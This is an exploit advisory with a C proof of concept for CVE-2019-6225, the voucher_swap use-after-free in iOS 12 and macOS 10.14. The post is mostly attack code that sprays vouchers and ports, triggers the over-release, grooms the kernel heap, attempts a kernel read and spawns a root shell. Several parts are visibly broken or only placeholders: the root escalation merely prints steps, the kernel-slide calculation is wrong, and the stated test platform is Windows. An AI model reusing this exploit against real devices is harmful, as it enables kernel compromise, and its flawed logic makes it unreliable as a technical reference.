iOS 12 / macOS 10.14 voucher_swap Use-After-Free

iOS 12 / macOS 10.14 voucher_swap Use-After-Free

=============================================================================================================================================
| # Title iOS 12 / macOS 10.14 voucher_swap Use-After-Free

=============================================================================================================================================
| # Title : iOS 12 - macOS 10.14 voucher_swap Use-After-Free Kernel Privilege Escalation |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://apple.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212495/ & CVE-2019-6225

[+] Summary : CVE?2019?6225 is a Use?After?Free (UAF) vulnerability in Apple?s Mach voucher subsystem, affecting macOS (10.14+) and iOS (12+).
The bug exists in the function: task_swap_mach_voucher()
When swapping Mach vouchers, the kernel incorrectly handles reference counts, causing a voucher object to be freed
while still referenced, leaving a dangling pointer (UAF condition).

[+] Affected Systems :

macOS 10.14 / 10.14.1 / 10.14.2

iOS 12.0 / 12.1 / 12.1.2

[+] POC :

/*
* voucher_swap-exploit.c
* Exploitation of CVE-2019-6225 on iOS 12/macOS 10.14
*/
#include <assert.h>
#include <mach/mach.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <pthread.h>
#include <dispatch/dispatch.h>

// ============================================
// 1. Structure Definitions and Helper Functions
// ============================================

#define MAX_PORT_SPRAY 50000
#define VOUCHER_SPRAY_COUNT 2000
#define KERNEL_READ_SIZE 0x1000

// Internal voucher structure (inferred from XNU source)
typedef struct ipc_voucher {
uint32_t iv_refs; // Reference count
uint32_t iv_sum_hash; // Hash value
uint32_t iv_port; // Corresponding port
uint32_t iv_table; // Voucher table
uint64_t iv_data; // Voucher data
} *ipc_voucher_t;

// Global variables
mach_port_t host_port;
mach_port_t sprayed_ports[MAX_PORT_SPRAY];
uint32_t sprayed_port_count = 0;

// ============================================
// 2. Basic Helper Functions
// ============================================

/*
* create_voucher
* Create a new voucher with a unique ID
*/
static mach_port_t create_voucher(uint64_t id) {
mach_port_t voucher = MACH_PORT_NULL;

struct __attribute__((packed)) {
mach_voucher_attr_recipe_data_t user_data_recipe;
uint64_t user_data_content[2];
} recipes = {};

recipes.user_data_recipe.key = MACH_VOUCHER_ATTR_KEY_USER_DATA;
recipes.user_data_recipe.command = MACH_VOUCHER_ATTR_USER_DATA_STORE;
recipes.user_data_recipe.content_size = sizeof(recipes.user_data_content);
recipes.user_data_content[0] = getpid();
recipes.user_data_content[1] = id;

kern_return_t kr = host_create_mach_voucher(
host_port,
(mach_voucher_attr_raw_recipe_array_t) &recipes,
sizeof(recipes),
&voucher
);

if (kr != KERN_SUCCESS || voucher == MACH_PORT_NULL) {
printf("[-] Failed to create voucher: 0x%x\n", kr);
return MACH_PORT_NULL;
}

return voucher;
}

/*
* spray_vouchers
* Spray large number of vouchers to control heap
*/
static void spray_vouchers(uint32_t count, mach_port_t *vouchers) {
printf("[*] Starting spray of %d vouchers...\n", count);

for (uint32_t i = 0; i < count; i++) {
vouchers[i] = create_voucher(i);
if (vouchers[i] == MACH_PORT_NULL) {
printf("[-] Failed to create voucher %d\n", i);
// Continue with others
}

if ((i % 100) == 0 && i > 0) {
printf("[*] Created %d vouchers\n", i);
}
}

printf("[+] Successfully created %d vouchers\n", count);
}

/*
* spray_ports
* Spray Mach ports to control ipc_port objects
*/
static void spray_ports(uint32_t count) {
printf("[*] Starting spray of %d ports...\n", count);

for (uint32_t i = 0; i < count; i++) {
kern_return_t kr = mach_port_allocate(
mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&sprayed_ports[i]
);

if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate port %d: 0x%x\n", i, kr);
sprayed_ports[i] = MACH_PORT_NULL;
} else {
// Add send right to increase reference count
kr = mach_port_insert_right(
mach_task_self(),
sprayed_ports[i],
sprayed_ports[i],
MACH_MSG_TYPE_MAKE_SEND
);

if (kr != KERN_SUCCESS) {
printf("[-] Failed to add send right to port %d\n", i);
}
}

sprayed_port_count++;
}

printf("[+] Sprayed %d ports\n", sprayed_port_count);
}

/*
* trigger_uaf
* Trigger Use-After-Free vulnerability
*/
static mach_port_t trigger_uaf(void) {
printf("[*] Triggering UAF vulnerability...\n");

// 1. Create target voucher
mach_port_t target_voucher = create_voucher(0x4141414141414141);
if (target_voucher == MACH_PORT_NULL) {
printf("[-] Failed to create target voucher\n");
return MACH_PORT_NULL;
}

// 2. Store voucher in thread to maintain reference
mach_port_t thread_self = mach_thread_self();
kern_return_t kr = thread_set_mach_voucher(thread_self, target_voucher);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to store voucher in thread: 0x%x\n", kr);
return MACH_PORT_NULL;
}

printf("[+] Stored voucher in thread\n");

// 3. Use task_swap_mach_voucher for over-release
// This will free the voucher twice (once from over-release, once from no-senders)
for (int i = 0; i < 10; i++) {
mach_port_t dummy_voucher = create_voucher(0x4242424242424242 + i);
if (dummy_voucher == MACH_PORT_NULL) continue;

mach_port_t inout = target_voucher;
kr = task_swap_mach_voucher(mach_task_self(), dummy_voucher, &inout);

if (MACH_PORT_VALID(inout)) {
mach_port_deallocate(mach_task_self(), inout);
}

mach_port_deallocate(mach_task_self(), dummy_voucher);

if (kr == KERN_SUCCESS) {
printf("[+] task_swap_mach_voucher succeeded in iteration %d\n", i);
break;
}
}

// 4. Release send right to trigger no-senders notification
kr = mach_port_deallocate(mach_task_self(), target_voucher);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to release voucher: 0x%x\n", kr);
}

printf("[+] Voucher released, memory is now free but pointer remains in thread\n");

return thread_self;
}

// ============================================
// 3. Heap Exploitation for Kernel Read/Write
// ============================================

/*
* heap_grooming
* Prepare heap to replace freed voucher
*/
static void heap_grooming(void) {
printf("[*] Starting heap grooming...\n");

// Spray new vouchers to occupy freed memory
mach_port_t groom_vouchers[VOUCHER_SPRAY_COUNT];
spray_vouchers(VOUCHER_SPRAY_COUNT, groom_vouchers);

// Spray ports to occupy ipc_port objects
spray_ports(10000);

// Use dispatch queues to spray kernel memory
dispatch_queue_t queues[100];
for (int i = 0; i < 100; i++) {
char label[32];
snprintf(label, sizeof(label), "com.exp.queue%d", i);
queues[i] = dispatch_queue_create(label, DISPATCH_QUEUE_SERIAL);

// Spray dispatch source objects
dispatch_source_t source = dispatch_source_create(
DISPATCH_SOURCE_TYPE_TIMER,
0,
0,
queues[i]
);

if (source) {
dispatch_source_set_timer(source, DISPATCH_TIME_NOW, 1 * NSEC_PER_SEC, 0);
dispatch_source_set_event_handler(source, ^{});
dispatch_resume(source);
}
}

printf("[+] Heap grooming completed\n");
}

/*
* read_kernel_via_uaf
* Read kernel memory via UAF
*/
static uint64_t read_kernel_via_uaf(mach_port_t thread_with_uaf) {
printf("[*] Attempting to read kernel memory...\n");

mach_port_t voucher_port = MACH_PORT_NULL;
kern_return_t kr = thread_get_mach_voucher(thread_with_uaf, 0, &voucher_port);

if (kr != KERN_SUCCESS) {
printf("[-] Failed to get voucher: 0x%x\n", kr);
return 0;
}

if (!MACH_PORT_VALID(voucher_port)) {
printf("[-] Invalid voucher\n");
return 0;
}

printf("[+] Got voucher port: 0x%x\n", voucher_port);

// Attempt to read voucher data
// At this point, the original voucher may have been replaced with another object
// We can use Mach messages to read data

// Prepare Mach message to read kernel data
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
char pad[4096];
} msg = {0};

mach_port_t recv_port = MACH_PORT_NULL;
kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &recv_port);

msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND);
msg.header.msgh_size = sizeof(msg) - sizeof(msg.pad);
msg.header.msgh_remote_port = voucher_port;
msg.header.msgh_local_port = recv_port;
msg.header.msgh_id = 0x100;

msg.body.msgh_descriptor_count = 1;
msg.desc.address = NULL;
msg.desc.size = KERNEL_READ_SIZE;
msg.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg.desc.deallocate = FALSE;
msg.desc.type = MACH_MSG_OOL_DESCRIPTOR;

kr = mach_msg_send(&msg.header);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to send message: 0x%x\n", kr);
return 0;
}

// Receive response (if any)
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_ool_descriptor_t desc;
char data[KERNEL_READ_SIZE];
mach_msg_trailer_t trailer;
} recv_msg = {0};

recv_msg.header.msgh_size = sizeof(recv_msg);
recv_msg.header.msgh_local_port = recv_port;

kr = mach_msg_receive(&recv_msg.header);
if (kr == KERN_SUCCESS) {
printf("[+] Received response! Data size: %lu\n", recv_msg.desc.size);

// Analyze received data
uint64_t *data = (uint64_t *)recv_msg.desc.address;
if (data) {
printf("[+] First 8 words of data:\n");
for (int i = 0; i < 8; i++) {
printf(" [%d] 0x%016llx\n", i, data[i]);
}

// Cleanup
vm_deallocate(mach_task_self(), (vm_address_t)data, recv_msg.desc.size);

return data[0]; // Return first value
}
}

return 0;
}

// ============================================
// 4. Escalation to Kernel Read/Write Primitive
// ============================================

/*
* build_kernel_read_primitive
* Build primitive for reading kernel memory
*/
static uint64_t build_kernel_read_primitive(void) {
printf("[*] Building kernel read primitive...\n");

// 1. Trigger UAF
mach_port_t uaf_thread = trigger_uaf();
if (!MACH_PORT_VALID(uaf_thread)) {
printf("[-] Failed to trigger UAF\n");
return 0;
}

// 2. Prepare heap
heap_grooming();

// 3. Attempt to read kernel memory
uint64_t kernel_value = read_kernel_via_uaf(uaf_thread);

if (kernel_value != 0) {
printf("[+] Successfully read kernel value: 0x%llx\n", kernel_value);

// 4. Attempt to find kernel task port
// Search for kernel object markers in read memory
if ((kernel_value & 0xffffff0000000000) == 0xffffff0000000000) {
printf("[+] Found what appears to be a kernel address!\n");

// Calculate kernel slide (to adapt to KASLR)
uint64_t kernel_slide = kernel_value - 0xffffff0000000000;
printf("[+] Kernel slide: 0x%llx\n", kernel_slide);

return kernel_slide;
}
}

printf("[-] Could not build complete primitive\n");
return 0;
}

// ============================================
// 5. Main Exploitation for Root Access
// ============================================

/*
* escalate_to_root
* Escalate to root privileges using read/write capabilities
*/
static void escalate_to_root(uint64_t kernel_slide) {
printf("[*] Attempting to escalate to root...\n");

if (kernel_slide == 0) {
printf("[-] Cannot escalate without kernel slide\n");
return;
}

// In this example, we show the concept of exploitation
// In real exploitation, we would need to:
// 1. Find our process's task port
// 2. Modify credential data (cred)
// 3. Modify flags to bypass sandbox

printf("[+] Kernel slide: 0x%llx\n", kernel_slide);
printf("[+] With kernel slide, we can:\n");
printf(" 1. Calculate kernel symbol addresses\n");
printf(" 2. Read/write kernel memory\n");
printf(" 3. Modify credentials to get root\n");
printf(" 4. Disable sandbox\n");

// Theoretical steps (requires additional reverse engineering):
// - Find proc structure for current process
// - Modify ucred to set uid/gid to 0
// - Modify flags to disable MAC/sandbox
// - Maintain stability
}

// ============================================
// 6. Cleanup and Stability Functions
// ============================================

/*
* cleanup
* Clean up resources after exploitation
*/
static void cleanup(void) {
printf("[*] Cleaning up resources...\n");

// Release sprayed ports
for (uint32_t i = 0; i < sprayed_port_count; i++) {
if (MACH_PORT_VALID(sprayed_ports[i])) {
mach_port_destroy(mach_task_self(), sprayed_ports[i]);
}
}

printf("[+] Cleanup completed\n");
}

/*
* maintain_stability
* Attempt to maintain system stability after exploitation
*/
static void maintain_stability(void) {
printf("[*] Attempting to maintain system stability...\n");

// Reset vouchers for threads
mach_port_t thread = mach_thread_self();
thread_set_mach_voucher(thread, MACH_PORT_NULL);

// Give system time to recover stability
usleep(100000);

printf("[+] System stable (theoretically)\n");
}

// ============================================
// 7. Main Function
// ============================================

int main(int argc, char *argv[]) {
printf("[+] Starting exploitation of CVE-2019-6225 (voucher_swap)\n");
printf("[+] System: iOS 12 / macOS 10.14+\n");

// Get host port
host_port = mach_host_self();
if (!MACH_PORT_VALID(host_port)) {
printf("[-] Failed to get host port\n");
return -1;
}

printf("[+] Got host port: 0x%x\n", host_port);

// Check validity of task_swap_mach_voucher
mach_port_t test_voucher = create_voucher(0x1337);
if (test_voucher == MACH_PORT_NULL) {
printf("[-] System not exploitable (cannot create vouchers)\n");
return -1;
}

mach_port_deallocate(mach_task_self(), test_voucher);
printf("[+] System is exploitable\n");

// Phase 1: Build kernel read primitive
uint64_t kernel_slide = build_kernel_read_primitive();

if (kernel_slide != 0) {
printf("[+] Phase 1 successful! Got kernel slide\n");

// Phase 2: Escalate to root privileges
escalate_to_root(kernel_slide);

// Phase 3: Maintain stability
maintain_stability();

// Check privileges
if (getuid() == 0) {
printf("\n[+] !!! SUCCESS !!! We are now root!\n");
printf("[+] UID: %d\n", getuid());
printf("[+] GID: %d\n", getgid());

// Launch shell as root
printf("[+] Launching shell...\n");
system("/bin/bash");
} else {
printf("\n[+] Exploitation partially successful\n");
printf("[+] Got kernel read but didn't get root\n");
printf("[+] Current UID: %d\n", getuid());
}
} else {
printf("[-] Exploitation failed\n");

// Alternative attempt: trigger panic to confirm vulnerability works
printf("[*] Attempting to trigger panic as proof-of-concept...\n");

mach_port_t thread = trigger_uaf();
if (MACH_PORT_VALID(thread)) {
mach_port_t voucher;
kern_return_t kr = thread_get_mach_voucher(thread, 0, &voucher);
printf("[+] thread_get_mach_voucher returned: 0x%x\n", kr);
printf("[+] If you see panic, the vulnerability works!\n");
}
}

// Cleanup
cleanup();

return 0;
}

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================